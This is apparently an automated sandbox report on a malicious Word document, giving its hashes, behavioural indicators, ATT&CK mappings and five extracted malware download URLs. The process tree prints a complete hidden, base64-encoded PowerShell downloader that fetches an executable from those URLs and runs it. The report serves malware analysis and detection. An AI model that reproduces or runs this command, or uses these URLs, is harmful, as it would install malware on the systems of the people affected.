ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
95s
max time network
156s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-01-14_14704.doc
Size

232KB
MD5

cfefdaf7d0849fe6df277d5fe13376e6
SHA1

e2cf7bf19bace60b4681d19e984b590fe42a6715
SHA256

e7fbff6e5470aa4a7f368b2c34099277cdcbb2917650d76f39841550e3fe9e66
SHA512

6e96dd67501aeb9eb3a46dc9832bc1cdf9b934303a27627672b34d836be5161d544d95381f567de09bff92b6553943f1e1480b8a5c8ae3f453f917cda9461756

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://cg.hotwp.net/wp-admin/b56-cf7ycs7-853921/

exe.dropper

http://parcerias.azurewebsites.net/wp-admin/sqTIPlE/

exe.dropper

http://blog.51cool.club/wp-admin/ZKhdjM/

exe.dropper

https://jewellink.com.au/wp-includes/1sih8lud-24ey29cny-8733215949/

exe.dropper

http://de.offbeat.guide/de/tletvwd-me4oo90-62479195/

Signatures

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2024 powershell.exe
2024 powershell.exe
2024 powershell.exe
Blacklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

19 2024 powershell.exe
22 2024 powershell.exe
24 2024 powershell.exe
26 2024 powershell.exe
28 2024 powershell.exe

pid	process
2024	powershell.exe
2024	powershell.exe
2024	powershell.exe

flow	pid	process
19	2024	powershell.exe
22	2024	powershell.exe
24	2024	powershell.exe
26	2024	powershell.exe
28	2024	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

WINWORD.EXE

pid	process
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE
2012	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2012 WINWORD.EXE
2012 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2024	2108	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2024 powershell.exe

description	pid	process
Token: SeDebugPrivilege	2024	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-14_14704.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:2012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -en JABWAHQAagBqAHQAdwByAGwAcwA9ACcAVABoAGUAawB3AGIAaQBmAHQAdgAnADsAJABXAHkAZwBoAGoAcgBxAHAAbQBzAHgAdwAgAD0AIAAnADIAMAAnADsAJABTAG8AeAB0AHkAaABlAGsAawA9ACcAUgBpAHcAZABzAGQAbABmAHAAeABxACcAOwAkAFoAYwBoAG0AawBtAGsAcgBmAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFcAeQBnAGgAagByAHEAcABtAHMAeAB3ACsAJwAuAGUAeABlACcAOwAkAEUAcAByAHAAcgBpAGkAdgB5AGQAPQAnAFkAeABtAGwAbQB6AGoAYgBuACcAOwAkAFMAcQB6AGEAcABqAGgAawB6AHoAYwBxAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcARQBiAGMAbABJAEUAbgB0ADsAJABVAHUAdwBsAGEAawBhAHcAcwBzAHMAZwByAD0AJwBoAHQAdABwADoALwAvAGMAZwAuAGgAbwB0AHcAcAAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8AYgA1ADYALQBjAGYANwB5AGMAcwA3AC0AOAA1ADMAOQAyADEALwAqAGgAdAB0AHAAOgAvAC8AcABhAHIAYwBlAHIAaQBhAHMALgBhAHoAdQByAGUAdwBlAGIAcwBpAHQAZQBzAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBzAHEAVABJAFAAbABFAC8AKgBoAHQAdABwADoALwAvAGIAbABvAGcALgA1ADEAYwBvAG8AbAAuAGMAbAB1AGIALwB3AHAALQBhAGQAbQBpAG4ALwBaAEsAaABkAGoATQAvACoAaAB0AHQAcABzADoALwAvAGoAZQB3AGUAbABsAGkAbgBrAC4AYwBvAG0ALgBhAHUALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAxAHMAaQBoADgAbAB1AGQALQAyADQAZQB5ADIAOQBjAG4AeQAtADgANwAzADMAMgAxADUAOQA0ADkALwAqAGgAdAB0AHAAOgAvAC8AZABlAC4AbwBmAGYAYgBlAGEAdAAuAGcAdQBpAGQAZQAvAGQAZQAvAHQAbABlAHQAdgB3AGQALQBtAGUANABvAG8AOQAwAC0ANgAyADQANwA5ADEAOQA1AC8AJwAuACIAUwBwAGAATABpAFQAIgAoACcAKgAnACkAOwAkAEYAZQBtAHEAawB1AGUAaQBjAGQAbAA9ACcAUABwAHMAYgB3AHYAcwBlAGYAeAAnADsAZgBvAHIAZQBhAGMAaAAoACQATgBnAGYAdABvAHMAeQBhAG4AYwBnAG8AIABpAG4AIAAkAFUAdQB3AGwAYQBrAGEAdwBzAHMAcwBnAHIAKQB7AHQAcgB5AHsAJABTAHEAegBhAHAAagBoAGsAegB6AGMAcQAuACIAZABvAHcATgBMAE8AYABBAEQAYABGAEkATABlACIAKAAkAE4AZwBmAHQAbwBzAHkAYQBuAGMAZwBvACwAIAAkAFoAYwBoAG0AawBtAGsAcgBmAHgAKQA7ACQAWgB1AGQAeABoAGkAeQBsAGIAPQAnAEUAcgB5AGIAdAB1AG8AYgBtAGkAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABaAGMAaABtAGsAbQBrAHIAZgB4ACkALgAiAGwAZQBuAGAARwBUAEgAIgAgAC0AZwBlACAAMgAyADIAOAA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABhAGAAUgBUACIAKAAkAFoAYwBoAG0AawBtAGsAcgBmAHgAKQA7ACQASABoAGUAcwBiAGoAegBoAHMAbABrAHoAYgA9ACcAVQBuAGUAaABkAGUAbwBrAHgAdQB5AGsAJwA7AGIAcgBlAGEAawA7ACQASAB3AHcAeQBnAHEAegBlAGcAawBzAG0APQAnAEcAbwBiAHMAagB0AGgAeQBlAHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwB3AGcAeABjAHoAaQBsAGsAbwBvAGIAPQAnAFYAcQBnAHUAcABxAGIAYwBlAGoAcwBnACcA
1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:2024

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2012-0-0x00000153F6684000-0x00000153F6695000-memory.dmp

Filesize
68KB

Download
memory/2012-1-0x00000153F6684000-0x00000153F6695000-memory.dmp

Filesize
68KB

Download
memory/2012-2-0x00000153F6684000-0x00000153F6695000-memory.dmp

Filesize
68KB

Download
memory/2012-3-0x00000153F6684000-0x00000153F6695000-memory.dmp

Filesize
68KB

Download